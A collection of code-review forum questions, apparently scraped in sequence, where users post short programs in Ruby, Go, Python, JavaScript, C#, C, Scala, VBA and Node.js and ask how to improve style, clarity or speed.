        cout << trappingWater(a, n) << endl;

    }

    return 0;
}  // } Driver Code Ends

Issue:

I'm unable to understand why I'm getting a time exceeded error in this code. Can somebody tell what's going wrong?


texts: Creating and sending two kinds of notification messages

texts:
I wish to get rid of using switch case with statuses twice in my code. But create_message function will be bigger in the future, so must stay and I don't want to create messages in send_user_push_notification directly.

Any ideas?

def send_user_push_notification(order, parse_events)
  now = Time.zone.now
  case parse_events
  when 'pending'
    if send_push_notification(order.shopper_id, order, parse_events)
      order.shopper_notified_at = now
    end
  when 'handed_over'
    if send_push_notification(order.deliverer_id, order, parse_events)
      order.deliverer_notified_at = now
    end
  end
end

def send_push_notification(user_id, order, parse_events)
  Parse.publish_order_status(
    user_id,
    *parse_events,
    create_message(order, parse_events)
  )
end

def create_message(order, parse_events)
  case parse_events
  when 'pending'
    I18n.t('orders.shopper.message')
  when 'handed_over'
    I18n.t(
      'orders.deliverer.message',
       order_id: order.order_id,
       store_id: order.store_id
    )
  end
end


texts: Displaying IP addresses in Go using Stringer interface

texts:
I am trying out some Go code examples (while coding a private project) to get more "in-depth" knowledge about the language.

I have come across an exercise from the Go Tour website about displaying correctly an IP number, making use of type method and the Stringer interface.

I found two ways to achieve the goal but I am wondering if there is no other clean way of doing it.

I strongly believe that a method with fewer code lines is always better - even though, looking around some Go OpenSource projects differs from that!

Example 1 with range.

package main

import "fmt"

type IPAddr [4]byte

// TODO: Add a "String() string" method to IPAddr.
func (ip IPAddr) String() string {
    rs := ""

    for k, v := range ip {
        if k == 0 {
            rs += fmt.Sprintf("%v", v)
            continue
        }

        rs += fmt.Sprintf(".%v", v)
    }

    return rs
}

func main() {
    hosts := map[string]IPAddr{
        "loopback":  {127, 0, 0, 1},
        "googleDNS": {8, 8, 8, 8},
    }
    for name, ip := range hosts {
        fmt.Printf("%v: %v\n", name, ip)
    }
}

Example 2 with a simple fmt.Sprintf

package main

import "fmt"

type IPAddr [4]byte

// TODO: Add a "String() string" method to IPAddr.
func (ip IPAddr) String() string {
    return fmt.Sprintf("%v.%v.%v.%v", ip[0], ip[1], ip[2], ip[3])
}

func main() {
    hosts := map[string]IPAddr{
        "loopback":  {127, 0, 0, 1},
        "googleDNS": {8, 8, 8, 8},
    }
    for name, ip := range hosts {
        fmt.Printf("%v: %v\n", name, ip)
    }
}

What do you guys suggest?


texts: Combining CSV files of simulation results

texts:
This script is a subset of a larger script where I have the output of many test simulations in the form of CSVs. Each file starts with the model name and includes the number of elements in my file. For example, edge_16elem_out.csv would be a first-order model (edge) with 16 elements. Another example would be edge3_1024elem_out.csv. I have created several helper functions and am curious if there are ways to improve this code. I am using Python 2.7.

import pandas as pd
import numpy as np
import glob
import os
import re

def k(x, q=1200, g=1, l=11, k=3, t0=300):
    """Analytic Computation - Equation can be found in ./heat_source_bar.i"""
    return  ((q - np.exp(-g * l) * x * q * g - np.exp(-g * x) * q) / (k * g)) + t0

def slope(x, y):
    """Computes slope in log-log terms"""
    return (y.diff() / x.diff()).fillna(0)

def compute_error(analytic, simulation):
    """Error Computation - calculates a percentage from simulated answer to analytical answer"""
    return np.log10(np.abs((analytic - simulation) / analytic))

def get_basename(fp):
    """Fetches basename of a given file path w/ file extension truncated"""
    return os.path.splitext(os.path.basename(fp))[0]

def get_model_num(fp):
    """Extracts number of radial elements from given file path
    (Ex. edge3_16elem_out.csv will return 16)"""
    var = str(get_basename(fp).split('_')[1])
    return int(re.search(r'\d+', var).group(0))

def get_model_type(fp, prefix):
    """Helper function to be able to get different model
    types by determining model type from file path prefix"""
    return filter(lambda x: get_basename(x).startswith(prefix), fp)

def read_assign(fp, model_id):
    """Read in csv and create column assigning model number as column"""
    return pd.read_csv(fp).assign(model_id=model_id)

def main():
    working_dir = os.path.abspath('.')
    file_paths = glob.glob(os.path.join(working_dir, '*_out.csv'))

    edge_files = get_model_type(file_paths, 'edge_')
    edge_ids = map(get_model_num, edge_files)

    edge_sol = (pd.concat(map(read_assign, edge_files, edge_ids))
                .sort_values('model_id')
                .query('time == 1')
                .assign(points = [5.5 for x in range(11)])
                .assign(t_sol = lambda x: k(x.points)))

    edge_err = (edge_sol
                .assign(t_err = compute_error(edge_sol.t_sol, edge_sol.point),
                        log_model_id = np.log10(1/edge_sol.model_id))
                .assign(slope = lambda x: slope(x.log_model_id, x.t_err)))

    edge_err.to_csv('edge_err.csv')

if __name__ == '__main__':
    main()
```


texts: Chain-able promise file system functions

texts:
I'm trying to invent an easier way of working with the file system. Here I chain promise methods together.

var _ = require("underscore")
var Promise = require("bluebird")
var fs = Promise.promisifyAll(require("fs"))
var suppress = function(e){ return e }

var fileSysemPath = function(path){
  if (!(this instanceof fileSysemPath)) return new fileSysemPath(path);
  this._path = path
  this._promises = []
}

fileSysemPath.prototype.path = function(path){
  this._path = path
  return this
}

fileSysemPath.prototype.ifType = function(typeDesired){
  var promise = function(){
    return fs.lstatAsync(this._path).then(function(stats){
      if(stats.isFile()) return "file"
      if(stats.isDirectory()) return "directory"
      if(stats.isBlockDevice()) return "blockedDevice"
      if(stats.isCharacterDevice()) return "characterDevice"
      if(stats.isSymbolicLink()) return "symbolicLink"
      if(stats.isFIFO()) return "FIFO"
      if(stats.isSocket()) return "socket"
      return "unknownType"
    }).then(function(type){
      if(typeDesired !== type) throw new Error("type is not desired type")
      return type
    })
  }
  this._promises.push(promise)
  return this
}

fileSysemPath.prototype.toPromise = function(){
  var _this = this
  return Promise.reduce(this._promises, function(result, action){
    return action.apply(_this, [])
  }, false)
}

fileSysemPath.prototype.then = function(fn){
  var _this = this
  return Promise.reduce(this._promises, function(result, action){
    return action.apply(_this, [])
  }, false).then(fn)
}

// set each fs prototype
_.each(fs, function(fn, name){
  if(name.match(/Async/) && !name.match(/Sync/)){
    name = name.replace("Async", "")
    fileSysemPath.prototype[name] = function(){
      var args = _.values(arguments)
      args.unshift(this._path)
      var promise = function(){
        return Promise.method(fn).apply(null, args)
      }
      this._promises.push(promise)
      return this
    }
  }
})

Here's the use case:

fileSysemPath("./package.json").readFile("utf8").then(console.log).catch(suppress) // logs
fileSysemPath("./package.json").ifType("file").readFile("utf8").then(console.log).catch(suppress) // logs
fileSysemPath("./package.json").ifType("directory").readFile("utf8").then(console.log).catch(suppress) // nothing

What is the consensus on the code above? Is it useful sugar or too much? Are there any optimizations?


texts:
I’m trying to improve my code’s "signal to noise ratio", hence would appreciate any tips on improving this, what appears to be smelly code. Perhaps there could also be potential performance improvements to be made here:

public class PricingInfoDto
{
    [DataMember]
    public decimal ListPrice { get; set; }

    [DataMember]
    public decimal Contribution
    {
        get
        {
            var contributionAmount = (1 + TaxRate) * (float)ListPrice * (ContributionPercentage / 100);
            return Convert.ToDecimal(Math.Round(Math.Min(ContributionMaximumAmount, contributionAmount), 2));
        }
        private set
        {
            // For NHibernate Map
        }
    }

    public float TaxRate { get; set; }

    public double ContributionMaximumAmount { get; set; }

    public float ContributionPercentage { get; set; }
}

Unfortunately, I don’t have control over the types of properties, as the types of ContributionMaximumAmount & ContributionPercentage are enforced by the ADO.NET and the public DataMember is expected to be Decimal.


texts:
I'm very new to Javascript...

Below is my code to convert Array to key/value JSON. Would like to know if there is a better way to achieve this or if I use any know bad practices.

An input: [10, [20.1, 20.2], 1]

The output:
{"channel_id":10, "payload":[20.1,20.2], "sequence":1}

My working code to generate the output:

let myArray = [10, [20.1, 20.2], 1]

class MyObject {
  constructor(a, b, c) {
    this.channel_id = a,
      this.payload = b,
      this.sequence = c;
  }
}

myObject = new MyObject(myArray[0], myArray[1], myArray[2])

console.log(JSON.stringify(myObject))


texts:
I've been experimenting with some old code that needs refactoring in places and was testing if there was any improvement to iis threads etc by uploading file asynchronously (Server Side). I'm using jQuery file upload client side.

The original code

[HttpPost]
public ActionResult UploadDocument( HttpPostedFileBase uploadedFile ) {

  // Do any validation here

  // Read bytes from http input stream into fileData
  Byte[] fileData;

  using ( BinaryReader binaryReader =
          new BinaryReader( uploadedFile.InputStream ) ) {

    fileData = binaryReader.ReadBytes( uploadedFile.ContentLength );

  }

  // Create a new Postgres bytea File Blob ** NOT Async **
  _fileService.CreateFile( fileData );

  return Json(
    new {
      ReturnStatus = "SUCCESS" // Or whatever
    }
  );

}

The new code

[HttpPost]
public async Task<ActionResult> UploadDocumentAsync( HttpPostedFileBase uploadedFile ) {

  // Do any validation here

  // Read bytes from http input stream into fileData
  Byte[] fileData = new Byte[uploadedFile.ContentLength];

  await uploadedFile.InputStream.ReadAsync( fileData, 0, uploadedFile.ContentLength );

  // Create a new Postgres bytea File Blob ** NOT Async **
  _fileService.CreateFile( fileData );

  return Json(
    new {
      ReturnStatus = "SUCCESS" // Or whatever
    }
  );

}

The new method appears to work correctly but my question is:

Is the following code the correct (best) way to do it? and are there any gotchas doing it this way? There is a lot of contradictory and out of date information out there. There also seems to be a lot of debate on whether there is any improvement or point in actually doing this. Yes it give back threads to iis etc but is it worth the overhead type of debate.

The code in question

// Read bytes from http input stream into fileData
Byte[] fileData = new Byte[uploadedFile.ContentLength];

await uploadedFile.InputStream.ReadAsync( fileData, 0, uploadedFile.ContentLength );


texts: Splitting string by words to new strings

texts:
Function:

char **strsplit (char source[])
{
    char **strings = calloc(1, sizeof(char *));
    int nStrings = 0, nChars = 0;

    strings[0] = calloc(2, sizeof(char));

    while('\0' != *source)
    {
        if(*source == ' ')
        {
            nStrings++;
            nChars = 0;
            strings = realloc(strings, (1 + nStrings) * sizeof(char *));
            strings[nStrings] = calloc(2, sizeof(char));
            source++;
            continue;
        }

        strings[nStrings][nChars] = *source;
        strings[nStrings][nChars + 1] = '\0';

        nChars++;
        source++;
        strings[nStrings] = realloc(strings[nStrings], (2 + nChars) * sizeof(char));
    }

    return(strings);
}

Example usage:

char *source = "Hello Code Review";
char **words = strsplit(source);

printf("Second word is: %s", words[1]);

Output:

  Code


texts: Producing full list of Fibonacci numbers which fit in an Int

texts:
I am progressing through the problems listed at projecteuler.com as I learn Scala (my blog where I am covering this experience). I have written a function to produce all the Fibonacci numbers possible in an Int (it's only 47). However, the resulting function feels imperative (not functional).

  val fibsAll = {
    //generate all 47 for an Int
    var fibs = 0 :: List()
    var current = fibs.head
    var next = 1
    var continue = true
    while (continue) {
      current = fibs.head
      fibs = next :: fibs
      continue = ((0.0 + next + current) <= Int.MaxValue)
      if (continue)
        next = next + current
    }
    fibs.reverse
  }

I am looking for feedback on this code:

To what degree does the presence of even a single var (there are four here) indicate an erred approach from a functional standpoint?
Given I want to return a List[Int], what better way is there to do this recursively as opposed to my current (odd) "while loop" approach?

I am finding the transition from imperative to functional thinking quite challenging.


texts: Solving a variation of the "Partition Problem"

texts:
In my version of the Partition Problem, I have a set of weights that are all powers of three (1, 3, 9, 27 etc.). I only have one of each weight. There is some object (the weight of this object is input) on the left side of a scale and I need to add weights to either side to balance it. I can choose not to use a weight if I so choose (denoted by a '-').

Right now, my program converts the inputted weight into ternary and, if all the digits are 1's and 0's, just feeds in the appropriate factor of three into a list. Otherwise, it generates every possibility, iterating through them until both sides are equal. This is, predictably, very slow. I know the partition problem is NP-C but is there any optimizations I can make here?

import string
import pdb
import itertools

def nearestpowerof3(x):
    numbers = '012'
    if x < 0:
        sign = -1
    elif x == 0:
        return numbers[0]
    else:
        sign = 1
    x *= sign
    digits = list()
    while x:
        digits.append(numbers[x % 3])
        x = int(x / 3)
    if sign < 0:
        digits.append('-')
    digits.reverse()
    ternary = ''.join(digits)
    exp = int(len(ternary))
    return exp, 3 ** exp, ternary

def answer(x):
    product = []

    tern = str(nearestpowerof3(x)[2])
    print(tern)
    if tern.find('2') == -1:
        print('HELLO')
        for digit in tern[::-1]:
            if digit == '1':
                product.append("R")
            elif digit == '0':
                product.append("L")
        return product
    else:
        for product in itertools.product('RL-', repeat=len(tern) + 1):
            left = x
            right = 0
            for i in range(len(product)):
                if product[i] == 'R':
                    right += 3**i
                elif product[i] == 'L':
                    left += 3**i
            if left == right:
                if product[-1] == '-' and product[-2] != '-':
                    product = product[:-1]
                return product
print(answer(10000000))


texts:
I have asked this on the main stackoverflow.com site, but I have been redirected here. My problem is, how to check, if a workbook that is downloaded from sharepoint is not corrupted and can be open. Well, the simplest possible way is to try to open it. I have written a function for that:

Function CanBeOpen(sPath As String) As Boolean
Dim wb As Workbook
On Error Resume Next

With Application
.EnableEvents = False
.DisplayAlerts = False

Set wb = .Workbooks.Open(sPath, False, True)
.SendKeys "~", True 'To close progressbar when opening

Select Case TypeName(wb)
    Case Is = "Nothing"
        CanBeOpen = False
    Case Is = "Workbook"
        CanBeOpen = True
    Case Else
        CanBeOpen = False
End Select

wb.Close savechanges:=False
.EnableEvents = True
.DisplayAlerts = True
End With

Set wb = Nothing
On Error GoTo 0
End Function

It works but I have strong feeling that this could be done in more efficient way. Do you have any suggestions?


texts:
Right now my route is doing the following:

Searching for the post by id from the request parameters
Check if the user already likes the post
If the user likes the post, then increase likeCount and push user_id to the likes array of the current post and vice versa (dec, pull)
Adding post id to myLikes array of user and vice versa

Any thoughts / suggestions on this code would be appreciated.

router.post('/like/:id', (req, res) => {
    User.find({
            'posts._id': req.params.id
        },
        'posts.$',
        (err, doc) => {
            if (err) console.log(err)
            const alreadyLike = doc[0].posts[0].likes.some(like => like._id == req.user.id);

            if (alreadyLike) {
                User.update({
                        'posts._id': req.params.id
                    },
                    {
                        $inc: { 'posts.$.likeCount' : -1},
                        $pull: { 'posts.$.likes': { _id: req.user.id }}
                    },
                    err => {
                        if (err) console.log(err)
                        res.send('dislike');
                });

                User.findByIdAndUpdate(
                    req.user._id,
                    {
                        $pull: {
                            myLikes: {
                                _id: req.params.id
                            }
                        }
                    },
                    (err, user) => {
                        if (err) console.log(err);
                });
            } else {
                User.update({
                        'posts._id': req.params.id
                    },
                    {
                        $inc: { 'posts.$.likeCount' : 1 },
                        $push: {'posts.$.likes': { _id: req.user.id }}
                    },
                    err => {
                        if (err) console.log(err)
                        Legend.find({
                                'posts._id': req.params.id
                            },
                            (err, user) => {
                                io.to(connectedUsers[user[0]._id]).emit('likePost', req.user.username);
                                res.send('like');
                            });
                    });

                    User.findByIdAndUpdate(
                        req.user._id,
                        {
                            $push: {
                                myLikes:{
                                    $each: [{
                                        _id: req.params.id
                                    }],
                                    $position: 0
                                }
                            }
                        },
                        (err, user) => {
                            if (err) console.log(err);
                    });
            }
        });
});


texts: A prime number checker (Multi numbers).py

texts:
so obviously this SIMPLE code checks if the number is prime or not. I need to make it more advanced, easier to use, fewer lines or any improvement.
while True:
    lista = []
    try:
        num = int(input("Enter the amount of numbers: "))
        for i in range(0, num):
            value = int(input("Enter the numbers one by one: "))
            lista.append(value)
    except:
        print(''';-;
    Bruh, make sure you are entering numbers.''')
    for i in lista:
        if i <= 1:
            print("Duh,", i, "is not a primal number.")
            continue
        for j in range(2, i):
            if i % j == 0:
                print("Duh,", i, "is not a primal number.")
                break
        else:
            print("SMH,", i, "is a primal number obviously.")